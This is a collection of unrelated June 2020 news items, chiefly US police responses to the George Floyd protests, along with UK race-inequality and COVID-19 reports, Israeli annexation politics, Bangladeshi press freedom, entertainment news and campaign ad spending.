Since he lost the Baltimore job over criticisms that he failed to keep order during the riots, Batts has traveled the country as a consultant, urging police commanders to prepare for civil disturbances. Some didnt seem to take his warning seriously, telling him it wouldnt happen in their hometowns.

And now theyre seeing what Ive been talking about, Batts said.

Mass demonstrations have erupted in hundreds of American cities since George Floyd died while in the custody of Minneapolis police, after then-officer Derek Chauvin dug his knee into Floyds neck for more than eight minutes, unleashing anti-police fury and shattering a national lockdown over a pandemic that has disproportionately affected minority communities and put millions of Americans out of work.

The size and the scope of the unrest  a mix of peaceful marches and outbreaks of looting, arson and attacks on police  has not been seen since the 1960s, overwhelming many departments and often drawing a fierce response from the police, including tear gas, rubber bullets and other projectiles.

The nightly skirmishes have raised questions about what police departments have learned from the rioting that followed the 2014 killing of Michael Brown, a black teenager, by Darren Wilson, a white police officer, in Ferguson, Missouri, and the death of Freddie Gray, a black 25-year-old, from injuries sustained while in Baltimore police custody the following year. Those events, and the deaths of other black men and women at the hands of police, sparked nationwide efforts to repair public trust by changing the way police used force, held themselves accountable for misconduct, and managed mass demonstrations.

Story continues

But in recent days, departments have responded in ways that jeopardized that limited progress on reform. That includes clashes in which officers may have violated protesters  and journalists  constitutional rights; Amnesty International USA has accused police of using excessive force against some protesters, endangering their lives and restricting free speech.

Full coverage of George Floyds death and protests around the country

I dont think anyone would agree that police have emerged better off than they were a few days ago, said Edward Maguire, an Arizona State University criminologist who researches police response to protests. He has seen images of officers beating up protesters and firing tear gas and rubber bullets on crowds in ways that may have made things worse, and could lead to civil rights lawsuits, he said. They have actively diminished their image over the past few days and its a giant mistake for them to have responded in that way.

In Atlanta, several officers have been charged for using excessive force against a pair of college students dragged from a car and tased. In New York City, police clubbed protesters gathered near the Brooklyn Bridge. In Minneapolis, officers enforcing a curfew were videotaped saying Light em up before firing what appeared to be paint projectiles at residents standing outside their front doors. A Seattle police officer responding to reports of a break-in at a T-Mobile store was recorded with his knee on the neck of a man under arrest. And in Buffalo, New York, officers were caught on video knocking a 75-year-old man to the ground during a protest; two officers were suspended without pay.

These incidents reflect the kind of behavior that brought protesters into the streets to begin with: the targeting of minority and poor communities with aggressive police tactics, from stop-and-frisk to deadly force, that has bred fear and hatred.

Image: (Bryan Woolston / Reuters)

Many of the confrontations unfolding across the country have been difficult to assess because of the confusing nature of the protests, experts said. There are so many of them, and they change so quickly, and often involve a mix of both destructive and peaceful participants, that it is forcing police departments to adjust their approaches on the fly. The large number of demonstrations has strained law enforcements mutual-aid network, in which neighboring jurisdictions provide backup during emergencies. That has left many departments without the number of officers necessary to effectively manage large unpredictable groups.

These circumstances call for a nuanced approach by police, a strategy that has been embraced by authorities in Europe, policing experts said. It involves viewing a demonstration not as a homogenous crowd but as a mix of different types of people who require different responses: maintaining dialogue with the peaceful ones, and targeting the destructive ones with arrests. The multilayered approach requires officers in plainclothes, ordinary uniform and riot gear. But many agencies do not have the training, or enough personnel, to do it that way.

A measured response also requires disciplining officers who abuse protesters rights, experts say.

If you dont have those resources to monitor a crowd that carefully or put people in soft clothing to interface with the crowd, you have to make a hard call ahead of time as to whats the safest thing to do, said Thor Eells, executive director of the National Tactical Officers Association, a nonprofit that trains law enforcement agencies on crowd control. Sometimes, the safest thing to do is go with full equipment, which can be seen as an overreaction. But the alternative is not doing it and risk having officers being injured or killed.

Going straight to riot gear and suppression techniques, such as tear gas and projectiles, can stir up a crowd rather than suppress it. That is what researchers from the Department of Justices Office of Community Oriented Policing Services found when they analyzed the police response to the unrest that followed the August 2014 shooting death of Brown by the police officer in Ferguson. The researchers concluded that the deployment of military vehicles and weapons and aggressive use of tear gas had the unintended consequence of escalating rather than diminishing tensions. The methods should be used only if necessary and be kept out of public sight until then, they said.

Image: A police tactical team moves in to disperse a group of protesters in Ferguson (Jeff Roberson / AP)

Those findings were in line with the experience of police in other cities, including Boston, which learned from mistakes in the late 1990s and the early 2000s to rely less on skirmish lines of officers in riot gear and weapons that are not designed to kill but that could nevertheless inflict serious injury, former Boston police Chief Daniel Linskey said.

Weve learned that its tough to throw a bottle at a cop who welcomes you and speaks to you and says, Have a good day, let me know if you need anything, Linskey, now a managing director for security risk management at the consulting firm Kroll, said. Riot gear should only be used as a break-glass-as-last-resort, he said.

Baltimore police followed that advice at the start of the protests against Grays death in April 2015, sending officers into the streets without riot gear and with orders not to use tear gas or rubber bullets. Batts, whod been recruited for the Baltimore job after a rocky tenure trying to fix the scandal-plagued Oakland Police Department, cast himself as an enlightened reformer. But the Baltimore force was not able to transition to a heavier response when the looting and destruction broke out, according to an analysis of the riots by the Police Executive Research Forum. The riots led to a homicide spike, and in July 2015 Batts was fired.

Two months later, the Police Executive Research Forum released its findings, saying they should serve as a reminder to all American police agencies to prepare and train for widespread civil unrest.

Police have to become leaner and quicker and more flexible to respond to these things, said Steven Nottingham, a retired Long Beach, California, officer who was a consultant to Baltimore police in 2015 and helps police departments train for and manage civil unrest. But the current wave of protests is taxing police to the point that they've never been taxed, Nottingham said.

Ronald Davis, a former California police officer and the former head of the Office of Community Oriented Policing Services, said hed seen instances in recent days of police turning prematurely to riot gear, flash-bang grenades and rubber bullets. But he said he has also noticed restraint, including police who have joined protesters in the streets and taken a knee in symbolic gestures of sympathy. In some cases, officers ramped up force in response to increased aggression by protesters, including attacks that have seriously injured officers.

The more measured responses in some cities, he said, reflect new thinking about community policing that spread in the wake of Ferguson and Baltimore.

The Baltimore Police Department is now under a federal consent decree to change the way it stops and uses force against people. Amid the current crisis in other cities, the protests in Baltimore have been largely peaceful.

More community policing is needed, and is something that all agencies should adopt, Davis, now a consultant, said. What Id like to see is police not just taking a knee but standing in support of systemic, sustainable police reform. Instead of being against police, this can be a movement to change policing. It doesnt have to be us versus them.

Miami police Chief Jorge Colina said his department has learned from its heavy-handed response to past riots, including unrest in the 1980s that followed killings by police. Officers are now trained to protect the free-speech rights of protesters, to maintain dialogue with them and to avoid aggressive confrontation unless they need to protect peoples lives or property.

Its a delicate balance, Colina said. We have to consider someones right to express their anger as opposed to someone else who could be harmed. If we move too quickly, we could be criticized, rightly, for creating a confrontation, and if we are too passive people will think we allowed the destruction of their property.

Even so, the start of the recent protests in Miami was quite scary for a lot of us, as protesters set police cars on fire and threw rocks and bottles at officers outside police headquarters, Colina said. Police responded with tear gas and rubber bullets. But by midweek, protests had become largely peaceful. Colina credited his officers for showing restraint, but protesters have said that they are working on their own to keep violent participants away.

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Maguire, the Arizona State University researcher, said American police are at a pivotal moment, and their response to the protests  and the lessons they take afterward  can help convince the public they understand the call for change.

What people need to feel from police is empathy, a fundamental sense of fairness, an equity in how services are delivered, that the police care and are upholding democracy, Maguire said.

Batts put it more bluntly.

He said he sees the current protests as the start of a long period of demonstrations that will continue to challenge police. It is no longer realistic, he said, to assume it cant happen in your community.

The best way to deal with riots is to do it before they happen, he said. You have to show people that you give a shit.
A major investigation is to be launched into racial inequalities in the UK, which have been exposed by the coronavirus crisis.

The Equality and Human Rights Commission (EHRC) will examine the loss of lives and livelihoods among different ethnic minorities.

The probe follows publication of a report earlier this week which showed that black, Asian and minority ethnic (BAME) people are at higher risk of dying from Covid-19.

The EHRC has hailed the move as a once in a generation opportunity to tackle deep-seated inequalities and create a fairer country.

It comes as a wave of Black Lives Matter protests continues to sweep the UK, highlighting the anger felt over the treatment of BAME people.

The demonstrations were sparked by the unrest in the US following the killing of African-American man George Floyd, but the message from protesters has widened to discrimination more generally.

Earlier this week, a report by Public Health England (PHE) found that  after accounting for the effect of sex, age, deprivation and region  people of Bangladeshi ethnicity have around twice the risk of death from Covid-19 than people who are white British.

Black Lives Matter protests in London continue - In pictures 1 /12 Black Lives Matter protests in London continue - In pictures Black Lives Matter protesters descend on Londons streets Getty Images Protesters practice social distancing Getty Images Police detain a protester Getty Images Protesters practice social distancing Getty Images Protesters take part in a 'Black Lives Matter' demonstration near Marble Arch on June 01 Getty Images The death of an African-American man, George Floyd, at the hands of police in Minneapolis has sparked violent protests across the world Getty Images Protesters wearing masks at Marble Arch amid the coronavirus pandemic Getty Images Police detain a protester Getty Images Police detain a protester Getty Images

Those of Chinese, Indian, Pakistani, Other Asian, Caribbean and Other Black ethnicity have between a 10 per cent and 50 per cent higher risk of death when compared to white British people.

EHRC chairman David Isaac said: Now is a once in a generation opportunity to tackle long-standing entrenched racial inequalities.

We intend to use our statutory powers to address the loss of lives and livelihoods of people from different ethnic minorities.

Only by taking focused action to tackle race inequality across Britain will we become a fair country in which every individual can reach their full potential.

This inquiry is part of our long-term strategic approach to tackle the structural inequalities that the coronavirus pandemic has laid bare.

This is an important step towards ensuring that the deep-rooted inequality faced by ethnic minorities is meaningfully addressed as we rebuild.

The EHRC said the proposals for its inquiry will be discussed with race equality leaders before setting out the terms of reference in the coming weeks.

The commission will have the power to compel evidence from Government departments and other organisations as it seeks to produce evidence-based recommendations for delivering progress.

It comes after PHE faced criticism that its report did not go far enough in explaining the reasons why BAME people are worse affected by the virus.

There has been concern at figures suggesting BAME people were nearly 50 per cent more likely than white people to be arrested in London under the coronavirus laws.

Equalities Minister Kemi Badenoch is now to lead a further review, working with the Governments race disparity unit, to take forward PHEs findings.

This Government is rightly taking seriously the initial findings from the PHE report, she said.

However, it is also clear that much more needs to be done to understand the key drivers of the disparities identified and the relationships between the different risk factors.

That is why I am now taking this work forward, which will enable us to make a real difference to peoples lives and protect our communities from the impact of the coronavirus.
Six members of a military family, including four young children, were found dead in their SUV in the familys garage in San Antonio, apparently after suffering from intentional carbon monoxide poisoning, the police said Thursday.

William McManus, chief of the San Antonio Police Department, did not identify the family members, but he said they were a husband and wife in their mid-to-late 30s and four children, ranging in age from 11 months to four years. Two cats were found dead in a basket in the front seat, he said.

McManus said there was evidence that it was not an accident. He said he did not have information about a motive, although he said it appeared to be a suicide.

He said he had been taken aback by the grim scene. Its the whole picture  its the adults, the children the pets, everything, he said. Theres no words to describe that.

The family had just moved to the area  the Stone Oak neighbourhood in northern San Antonio  in January, and neighbours had reported that they never saw them, the chief said. The police had responded to one previous call there, after getting a complaint about children playing ball in the street.

The police had received a call around 10:30 a.m. Thursday from the husbands employer after he had failed to check in for work from home as usual. The police entered the house through the front door, where the smell of fumes blew everybody back out the door, McManus said.

At a news conference earlier Thursday, McManus had said that the police found a cryptic note on the front door, with what appeared to be military jargon. He said it meant, roughly speaking, There were bodies or people inside, and do not enter.

Fearing that the home might be rigged with explosives, the police sent a robot inside, McManus said. They also called for emergency medical services.

Eventually, the police entered the garage, where they found the bodies in a small SUV. He described the family as a military one but declined to say which branch of the service they were affiliated with.

He said the deaths had probably taken place overnight because the father had checked in for work Wednesday.

This is just the very beginning of the investigation, he said.

The San Antonio Fire Department had sent out an evacuation notice to residents in the area.
New Delhi, June 5 : Choosing between her favourite character -- from among "Shuddh Desi Romance", "Befikre" and "War" -- is difficult for Vaani Kapoor.

Vaani ventured into Bollywood in 2013 with the film "Shuddh Desi Romance", where she played a smalltown girl named Tara. In "Befikre", she essayed a freespirited Parisian named Shyra opposite Ranveer Singh. In the action-packed film "War", she was the femme fatale Naina.

"All of them," quipped Vaani diplomatically, when you ask her which of these characters is her favourite. "These are characters in which I have invested my time, energy, and lots of hard work," Vaani told IANS.

She continued: "They are my labour of love and it will be very hard to choose one among all your babies. I have given love and my hard work and efforts to all of these characters individually," she said.

Vaani will next be seen in "Shamshera", set in the 1800s. The film is directed by "Agneepath" maker Karan Malhotra, and is about a dacoit tribe that fights for their rights and also the nation's Independence against the British.

She will be seen sharing screen space with Sanjay Dutt and Ranbir Kapoor. The film is scheduled to release on July 31.

-- The story has been published from a wire feed without any modifications to the text
March 13, 2020, was a full moon, Friday the 13th. You may not be superstitious, but that day was the first of many pandemic events. That was the last day students in Michigans schools were able to meet within a building. Essentially, all schools closed immediately and indefinitely on March 13, 2020. As the school year comes to an end, how has the virus changed since those first days?

To begin, we have infinitely more information about the COVID-19 virus. Infinite is the right word because many of us knew nothing about this virus on March 13th. Now we are continuously inundated with new information. The amount of information has definitely changed, but how has the virus itself and its effects on us changed?

COVID-19 is, still, a virus. Which means it is a non-living biological structure that hijacks of our own healthy cells to do its dirty work; And destroys the healthy cells along the way. Our immune system is the only way a virus can be killed. Unfortunately, this is a new virus to our immune systems and millions of immune systems have been unable to keep up with the virus or immune systems are over-reaction to the virus and destroying otherwise healthy cells, worsening the situation.

Currently and likely through the end of 2020, there is NO vaccine to teach our immune systems to destroy the virus at first site. Medications and procedures are improving with each iteration as new data presents itself, but these only work to lessen the symptoms caused by COVID-19, not kill the virus. Yes, the odds are in-favor for most of us that when we contract the corona virus, we will have mid- to no-symptoms; Thank your immune system. However, for the less fortunate, the statics are proving to have immediate and lethal results.

Which bring us to avoiding the virus, how to not contract the virus in the first place. Again, it is a virus. Which means soap-and-water and hand-sanitizers will destroy the virus. It has been said the virus can remain alive on surfaces for hours, even days, depending on the material and conditions. So, surfaces must continuously be sanitized to ensure safety?

These are the best procedures for avoiding surface contamination and should always be followed. However, the COVID-19 virus is showing to be an air-bourne contamination and not a surface contamination. Keeping all surfaces free from bacteria and virus is key to public health, but it may not be the best protection in this case.

This is how the corona virus has changed! We have learned that you do not contract Covid-19 by touching it and rubbing it into your eyes, nose, or mouth, surface contamination. The data shows that we breathe it in and out of our throat and lungs, air-bourne contamination. This is why, face masks are crucial to avoiding this corona virus.

Although washing your hands and surfaces is always important and must be continued, but it is like putting on sunscreen as you go under water swimming. You will need a different form of protection, like a mask and snorkel. Fortunately, with the right protection you can have a wonderful time.

Summertime is fun time. As of June 5, 2020, most families in Michigan will be on summer vacation and although the warmer temperatures where slow to get here, they will. With the Stay in Place orders being reduced and the structure of the school year removed, peoples activity levels and socialization schedules will be on the rise. So how has the corona virus changed, now that is it fun time?

The infection rates are on the decline, due the extreme measure taken; we all quarantined ourselves into safety. With the imposed quarantines gone, it will be up to each individual to ensure the infection rate continues to decline. We can control it to a large degree, when we make good decisions with thoughtful actions based on the increasing information that we are learning every day. Unfortunately, the viruss lethal statistics will continue to have grime results on those that do get infected.

COVID-19 is an air-borne virus that enters our bodies when we breathe contaminated microscopic water-droplets, in-and-out of our nose-and-mouth. This is new information. We, as Americans, have never had to deal with in the past, but now we do. We have never had to wear a mask in public in the past, but since breathing is how COVID-19 moves from person to person, it is a simple, effective protection.

When we are out enjoying all the greatness of summertime in Michigan, we need to protect ourselves. This virus is like nothing most of us have ever seen. Although the virus has not changed or mutated since March 13, we sure have, and we will need to continue to change our version of normal.

We know this a deadly virus and we know we what to get back to our lives. This virus will get you if you let it, so do not let it. Protect yourself. Avoid breathing the same air as others, avoid enclosed spaces, socialize at a distance, and wear a mask; This is what has changed, since March 13.

Andrew J. Frisch is a Science, Mathematics, STEM Educator at Farwell High School.
For Reggie Yates, the chance to direct his first feature was like a 'super surreal dream come true'.

And then, with just a few days of shooting remaining, the corona - virus struck.

Now, the filmmaker and his creative collaborators are zooming in on ways to get the picture completed in the safest possible way.

A lot of focus has been put on big blockbusters stopped in their tracks midway through shooting, such as the seventh Tom Cruise Mission: Impossible thriller, or the new caped crusader film The Batman, starring Robert Pattinson and Zoe Kravitz.

Filmmaker, Reggie Yates, and his creative collaborators are zooming in on ways to get his first feature picture completed in the safest possible way

But there are some much cherished small-budget British pictures that have also been knocked for six by the pandemic.

Yates and his cast and crew had been shooting the film Pirates  which he also wrote  on the streets of London when the picture had to shut down in mid-March.

'To get to that place  and suddenly stop  was crazy,' said Yates, who over the years has been a documentarian, TV presenter, DJ  and the voice of Rastamouse in the beloved CBeebies cartoon.

He and his producers (at Hill - billy Films, BBC Films and the British Film Institute) have been having discussions on Zoom, with key crew members, about the complex new protocols that could enable them to return (safely) to finish the nine or ten filming days left on Pirates.

'We will return as soon as we are confident that we can do so safely, without compromising the magic we created on set,' the producers said in a statement.

Pirates is set on New Year's Eve, 1999, and follows the antics of three music-loving young men  played by terrific new - comers Elliot Edusah, Jordan Peters and Reda Elazouar  determined to make it a night to remember.

'They're absolutely mortified that we had to stop,' Yates told me of his young stars.

Pirates is set on New Year's Eve, 1999, and follows the antics of three music-loving young men  played by terrific new - comers Elliot Edusah, Jordan Peters and Reda Elazouar (pictured)  determined to make it a night to remember

Elliot Edusah attends a drinks reception celebrating Huntsman's 100th anniversary at 11 Savile Row

It's not all bad news. Yates said the lockdown had 'in a weird way' been 'an incredible gift' for a first-time filmmaker, because it gave him time to go back over footage 'to see where you can pick things up'.

The screenplay is full of the everyday banter of close friends, so that the characters pop out of the page.

'These are very much normal kids who just want to have a good time. They just want to get to the party, get the right girl  and the right clothes!'

This started a riff on the importance of teens having the right outfits.

'The stakes are very small, in the great scheme of things,' he said, 'but when you're at that age, those stakes mean everything.'

Yates said he wanted Pirates to capture the excitement and fun of friendship between a group of young men of colour.

'Obviously, in a city like London, there are difficult distractions, but not every kid gets pulled into that,' he told me.

Optimistically, he then issued an invitation to Pirates' premiere. 'Make sure you wear a pair of Air Max because you're going to be dancing all night!'

Last year, Fionn O'Shea told me, they'd all enjoyed 'an amazing summer of craic' in Dublin

Fionn O'Shea knew that by taking on the role of Jamie, the sadistic richboy in television drama Normal People, he might attract some glances.

But the 23-year-old wasn't prepared for the full-bore reaction that followed the phenomenal success of the series on the BBC.

'We expected people to react with a little bit of vitriol,' O'Shea told me.

But while he didn't expect anyone to 'love' Jamie, who gets his kicks from sexually abusing Daisy Edgar-Jones's Marianne in the adaptation of Sally Rooney's best-seller, he was unprepared for 'the level of hate' that came his way from viewers who spotted him on the streets of his home town, Dublin.

O'Shea is one of Ireland's fast-rising young actors  part of an exciting new generation of future stars that also includes Normal People's leads Paul Mescal and Edgar-Jones (whose mum is from Northern Ireland).

Last year, Fionn told me, they'd all enjoyed 'an amazing summer of craic' in Dublin.

He was finishing work on writer and director David Freyne's poignant new film Dating Amber, in which he stars with Lola Petticrew (who plays the title character).

And filming was about to start on Normal People. During the overlap, the two casts socialised 'constantly'.

Dating Amber is set in Kildare in 1995, two years after homosexuality was decriminalised in Ireland.

O'Shea's character Eddie and Amber are outsiders at school. 'It's a love story that's completely platonic,' he explained.

'It's all about friendship. They're both struggling with identity and family dynamics.'

He said Freyne called the film 'a love letter to kids who needed to escape to be themselves'.

Eddie's father is pushing his son to follow him into the Army. But the lad, wrestling with the whole notion of masculinity, is 'strangled by his internal struggle', whereas Amber is much more comfortable with her sexual orientation.

The actor, who attended Gonzaga College (hot priest Andrew Scott is another old boy), said Dating Amber, and his 2016 film Handsome Devil, are niche in some ways  Irish high school films  'but they're both universal'.

Certainly Amazon Prime believe that, because they've put some muscle behind releasing the picture this week. O'Shea and Petticrew spark off each other marvellously.

'You could see that from the chemistry test we did. It was the right kind of fit,' he agreed. That doesn't stop Amber being beastly to Eddie sometimes: chucking stones at him as he rides his bike.

Luckily, the 'stones' were just painted Styrofoam. He did take a tumble, though, on the second day of shooting.

'I got a little brave and thought: 'Oh, I can just throw myself off the bike.' But, I pressed the wrong brake and flew over the handlebars.'

He and Petticrew, now the best of mates, have been sharing a flat in Dublin during the lockdown. And he's become a 'fairweather vegan'. Because she can cook, and he can't.

WATCH OUT FOR...

Patrick Robinson and Nadine Marshall, who star in the scorching BBC and Left Bank Pictures TV drama Sitting In Limbo, which airs on Monday (June 8).

It's based on the real-life story of Anthony Bryan, whose world was upended when the Home Office wrongly targeted him for deportation to Jamaica.

Patrick Robinson and Nadine Marshall (pictured), who star in the scorching BBC and Left Bank Pictures TV drama Sitting In Limbo, which airs on Monday (June 8)

He lost his job, and his home. It's staggering how the incompetence of the immigration authorities led to so much hardship and emotional suffering  all captured superbly in the portrayals of Bryan and his partner by Robinson and Marshall.

Bryan's case was taken up by The Guardian, which exposed the notorious Windrush scandal. Sitting In Limbo is being shown at a time when systemic racism is rocking society in America, and it's being protested here, too.

Why Aaron's indulging in some pillowtalk

The much anticipated revival of Martin McDonagh's pitch-black play The Pillowman, which was to have marked a return to the stage for Golden Globe-winning star Aaron Taylor-Johnson, has had its July 24 opening at the Duke of York's Theatre postponed.

Producer James Bierman said the production, which also stars Steve Pemberton, will be looking for a date to open next year.

Aaron Taylor-Johnson arrives at the premiere of the movie 'A Million Little Pieces' at The London West Hollywood at Beverly Hills in Los Angeles, California, USA, 04 December 2019

The two actors, and director Matthew Dunster, have confirmed their commitment to the project once theatre availability and industry-wide safety issues have been settled.

The Pillowman is a dark fairy tale involving the interrogation of two brothers living in a totalitarian state.

McDonagh is celebrated for his dramas such as The Lieutenant Of Inishmore, and films In Bruges and Three Billboards Outside Ebbing, Missouri.
2 1 of 2 Mark Mulligan, Houston Chronicle / Staff photographer Show More Show Less 2 of 2 Gary Fountain / Contributor Show More Show Less



Rice University is naming part of its campus central quadrangle the Rev. William A. Lawson Grove in honor of the community leaders contributions to the university and the city.

Rice President David Leebron recently made the announcement at the Rice Kinder Institute for Urban Researchs virtual Lunch-Out event, in which Lawson was honored with the 2020 Klineberg Award.
Less than a month before the July 1 target date allowing Prime Minister Benjamin Netanyahu to bring up to vote annexation of a significant part of the West Bank, no one has any idea where the country is heading. Netanyahus intentions are unclear. He continues to trumpet the historic opportunity afforded by the green light for annexation that President Donald Trump gave Israel in January, but no one knows what Netanyahu really means to do. Will he take advantage of the opportunity offered by the Americans to declare Israeli sovereignty over 30% of the West Bank on July 1? Will he annex a smaller portion of land? Will he delay the move? Will he forgo the whole idea at this time?

Netanyahu is torn between polarized ideologies and the political and security risks entailed in annexation. He is also sorely tempted to go down in the history of Israels ideological and political right in a move that would overshadow another historic precedent he set this year in becoming the first incumbent premier to stand criminal trial.

The prime minister faces multiple fronts as he mulls his epic decision. The most familiar is the right wing, where opposition to the move on the part of West Bank settlers and their leaders, as detailed here this week by my colleague Mazal Mualem, is intensifying daily.

On June 4, David Elhayani, the head of the settlers umbrella organization Yesha Council, said Trump and his son-in-law Jared Kushner have shown through the proposal that they are not friends of the State of Israel and do not consider the security and settlement interests of the State of Israel. Elhayani's accusation, prompted by the realization that the Trump plan also envisions the establishment of a Palestinian state, set off a storm. Netanyahu lambasted Elhayani for his ingratitude to the US leader. President Trump is a great friend of the State of Israel. He has led historical moves for the State of Israel, said Netanyahu. Elhayani, however, was unrepentant and refused to back down.

In fact, it seems as if the settlers take on the Trump plan has prompted second thoughts, even by Netanyahu. Annexation would truly be a historic move, one of Netanyahus associates told Al-Monitor on condition of anonymity. The question is whether Netanyahu would also go down in history as the person who agreed to the establishment of a Palestinian state west of Jordan by his very acceptance of Trumps deal of the century. This argument is no less convincing than the counterargument, the associate said.

Several other land mines besides settlers and leaders of the rightist Yamina party also obstruct Netanyahu's path to annexation. These include vehement European opposition, adamant rejection of the move by some Arab states, among them his allies in the Gulf, the expected response by Jordans King Abdullah and the recommendations of Netanyahus security chiefs. Then there are the obstacles he faces within his newly installed government from his rival/partner Alternate Prime Minister Benny Gantz and Foreign Minister Gabi Ashkenazi. Luckily for Netanyahu, the duo has also not decided what to do about this explosive issue they have been waffling on for over a year.

Gantz, in his role as defense minister, instructed army chief Lt. Gen. Aviv Kochavi this week to accelerate military preparations for possible implementation of the annexation, prompting criticism within his own center-left political camp. His instructions could mean either that he is going along with Netanyahus intentions and will not stand in his way or that he foresees a real threat of a meltdown in the Palestinian territories.

Israels military planning for 2020 focused on Iran and mainly on dislodging its entrenchment from Syria. In light of the latest developments, the Israel Defense Forces (IDF) could find themselves dealing with friction in the territories and an escalation into an armed confrontation with the Palestinians or a third intifada. Most military experts, former security chiefs and retired generals argue that the annexation would cause more harm than good. Netanyahu himself was of the same mind most of his life and firmly rejected annexation proposals whenever settlers and right-wing leaders raised them. The prime minister is now facing a historic opportunity that is slipping away with Trumps decline in the polls and the prospects of US president's possible defeat in November. Netanyahu is asking himself what is preferable: To be the one who drops the ball so close to the goal post or the one who mires Israel in a third intifada while laying the ground for a Palestinian state once again (following his historic 2009 Bar Ilan pledge to allow the founding of a Palestinian state).

Maj. Gen. (res.) Amos Gilad, formerly director of policy and political-military affairs at the Israeli Defense Ministry and a top intelligence officer who conducted Israels sensitive ties with Jordan for decades, told Al-Monitor this week that if he were Netanyahu, he would announce that he was immediately abandoning this horrible annexation plan. Gilad, a security hawk not known for his leftist political leanings, added that Israel should focus instead on its greatest threat, Iran. We have a very convenient climate in the West Bank in terms of security. We have defeated terrorism, Jordan provides us with a strategic depth all the way to Iraq, and instead we want to restore the Palestinian issue to center stage. Why do we need this? After all, the army will remain deployed in the Jordan Valley and along the Jordan River in any case. Why go on with this declarative Zionism? Practical Zionism is preferable.

Netanyahu will have to decide, soon. As he weighs his options, he is undoubtedly taking note of the warning issued this week through Al-Monitor by the United Arab Emirates' ambassador to Washington, Yousef Al-Otaiba, that annexation would make the region unstable. The Emirates are the keystone in a clandestine love affair Netanyahu has been conducting with the Gulf States for years and he must concede there could be something to their warning.

Netanyahus main problem is that he cannot read Washingtons true intentions at this point, especially not those of the White House  perhaps because given the current chaos, no one there knows which way Trump will go once the deadline arrives and Israel asks for a go-ahead to carry out annexation. According to several sources very close to Netanyahu, his friends at the White House have not been returning his calls over the past two weeks. A senior diplomatic source familiar with these contacts told Al-Monitor that Kushner and his wife, Ivanka Trump, are not wild about the annexation idea, to put it mildly, given the current state of play. On the other hand, Trumps influential ambassador to Israel, David Friedman, has no such qualms as he continues to hold intense discussions with the settlers and advocate annexation. Netanyahu will be the one making the final decision, but he would need to receive beforehand clear American guidance.

Maybe Netanyahu would rather have Trump push aside the whole issue and pull his chestnuts out of the fire for him, a senior right-wing government minister told Al-Monitor on condition of anonymity. He could always say that he tried, he wanted to, but circumstances made the annexation impossible. An unequivocal statement by presidential candidate Joe Biden warning Netanyahu against confronting the United States with a fait accompli just months before the elections would also help Netanyahu recalibrate. But for that to happen, one of his associates said on condition of anonymity, he has to want to change course. Right now, he himself does not know exactly what he wants.
Anunt de selectare a participantilor si participantelor la cel de-al doilea curs de instruire din cadrul Programului educational pentru dezvoltarea competentelor lucratorilor de tineret
Dhaka, June 5 : Five Bangladeshi and international organisations have written to Prime Minister Sheikh Hasina asking her to take action guaranteeing press freedom amid an alarming surge in physical and judicial attacks on reporters and cartoonists in connection with the COVID-19 pandemic, a media report said on Friday.

The organisations are -- Cartoonists Rights Network International (CRNI), Reporters Without Borders (RSF), Forum for Freedom of Expression, Bangladesh (FExB), Ain O Shalish Kendra (ASK) and Cartooning For Peace (CFP), said the bdnews24 report.

The letter was published on the Reporters Without Borders website on Wednesday.

Though the Bangladesh government claims to "firmly believe in freedom of the press", it is being violated, especially during the coronavirus pandemic, the letter said.

"During the month of May alone, at least 16 journalists and bloggers were charged under the 2018 Digital Security Act.

"They include the cartoonist Ahmed Kabir Kishore, who was arrested on 6 May by the Rapid Action Battalion... His only act of "terrorism" was to have published a series of cartoons of politicians entitled 'Life in the Time of Corona'.

"He is still detained and is facing a possible life sentence," said the letter.

It further said that "most of the other journalists being prosecuted under this law".

The letter also mentioned that since the start of the lockdown in the country, at least 13 journalists have been the targets of violence, which in some cases caused serious injuries.

Under the present circumstances, the organisations urged Hasina to ensure that physical attacks against reporters do not go unpunished, abusive prosecutions of journalists, bloggers and cartoonists under the Digital Security Act were They also urged to amend the Digital Security Act while drafting a law on protecting journalists.
(Bloomberg) -- President Donald Trumps combative response to nationwide protests against police brutality has dominated the news in recent days, but a wave of ads on Googles YouTube has sought to draw attention to another event: the Presidents 74th birthday. In the last full week of May, Trumps campaign spent $1.48 million on Google advertising, the highest weekly total of the 2020 campaign, according to the search giants data. Many of the ads take the form of a digital birthday card the presidents supporters can sign by sharing information like their email addresses.

The spending surge shows how the presidential campaign season has continued on digital media even as in-person events, like the large rallies President Trump favors, have been placed on hold. In the interim, Trumps campaign is increasing its spending, largely to accumulate potential supporters email addresses.

Alphabet Inc.s Google is a favorite destination. Trumps campaign spent about the same amount on Facebook Inc., where it spent $1.48 million over the same period.

During the week of May 23, the Trump Make America Great Again Committee spent $1.3 million on Google advertising, while Donald J. Trump for President Inc., another Trump campaign entity, spent $164,500, according to Googles database.

Former Vice President Joe Bidens campaign spent $322,600 in the week of May 23. The campaign has pulled back its spending on Google since the primary concluded; Bidens spending on Google hit a record of $1.72 million for the week of Super Tuesday. Biden spent about $570,000 on Facebook during the week starting May 23.

The two main Trump campaign groups have spent $26.3 million on Google ads since July 2018. Over that same period, Bidens campaign has spent $6.38 million on Google ads.

Earlier this year, the Trump campaign outbid rivals to reserve the coveted ad space at the top of YouTubes homepage in advance for election day and the days before, Bloomberg News reported earlier.

Story continues

A Google spokeswoman declined to comment on the candidates campaign spending.

YouTube has taken a financial hit in recent months due to the economic downturn, but the company has noted the strong performance of direct response marketing -- video ads that prompt viewers to make a purchase or take an action, like Trumps birthday card messages.

Democrats have just had a little more trouble raising money on Google versus Republicans, not due to a lack of good strategy but due to seeing better returns on other platforms, said Julia Ager, founder and president of the Democratic digital advertising firm Sapphire Strategies.

Digital political advertising has become increasingly prominent -- and controversial -- since the 2016 election. Both Google and Facebook, the market leaders, have begun to disclose more about spending levels and the types of ads candidates run.

After an uproar over misleading campaign ads last year, Google banned political commercials with doctored images or false claims. It removed some ads from Trump and Democratic candidates in March. But Google has mostly avoided the uproar that Facebook and Twitter Inc. have faced over the past week as the two social media companies have made diverging decisions about how to handle incendiary posts from President Trump.

Michael Bloomberg, the owner of Bloomberg LP, the parent company for Bloomberg News, who ended his presidential bid in March, remains the top political buyer on Google since May 2018 with $62.3 million spent.

For more articles like this, please visit us at bloomberg.com

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California braces for second wave of coronavirus due to arrests, police tear gas, reopening

Iran Press TV

Thursday, 04 June 2020 10:18 AM

The coronavirus outbreak has been on the rise in the US state of California over the past week, prompting health experts to warn that reopening and police use of tear gas and pepper spray against the protests over the death of George Floyd could exacerbate the pandemic.

The US, which stands on the top of the list of the worst-hit countries around the world, has so far reported 1,851,520 confirmed cases and 107,175 deaths, according to Johns Hopkins University data.

